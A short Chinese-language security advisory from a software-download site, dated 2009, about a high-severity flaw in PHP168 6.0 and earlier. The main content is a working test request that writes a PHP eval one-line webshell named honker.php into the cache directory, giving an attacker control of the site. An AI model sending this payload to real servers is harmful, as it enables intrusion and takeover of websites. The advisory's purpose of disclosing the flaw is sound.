pc软件 文章资讯 手机软件

您当前的位置→图文中心新闻资讯安全播报最新PHP168 6.0及以下版本漏洞
阅读排行

最新PHP168 6.0及以下版本漏洞


2009/9/9  编辑:佚名 来源:本站整理

危险等级:高

影响版本:PHP168 6.0以下版本 

入侵者可以在用户登陆页面构造特殊语句, 将PHP一句话写入cache目录, 从而获得使用PHP168整站程序网站的WEBSHELL权限。  

测试语句:

     ?makehtml=1&chdb[htmlname]=honker.php&chdb[path]=cache&content=?php%20@eval($_POST[honker]);?

 

相关文章

2017年最新办公软件office2010激活密钥:office2010版是大家最常使用的办公软件,相信大家都喜欢永久激活密钥,这样就可以一劳永逸了!好了,废话不多说,下面给大家分享2017年最新的office2010激活密钥。

最新消息:小米MIX 2将搭载6.4英寸AMOLED屏幕:消息称,小米MIX2将搭载6.4英寸AMOLED屏幕,屏占比进一步提升到93%,分辨率QuadHD(2540x1440),配置高通骁龙835处理器,6GB运存,128GB/256GB存储,4500mAh电池容量。

s8王者荣耀·最新BUG大全: 王者荣耀BUG频出,什么鲁班嬴政皮肤的还有各种系统的BUG之类的。

发表评论
网站帮助 - 广告合作 - 下载声明 - 网站地图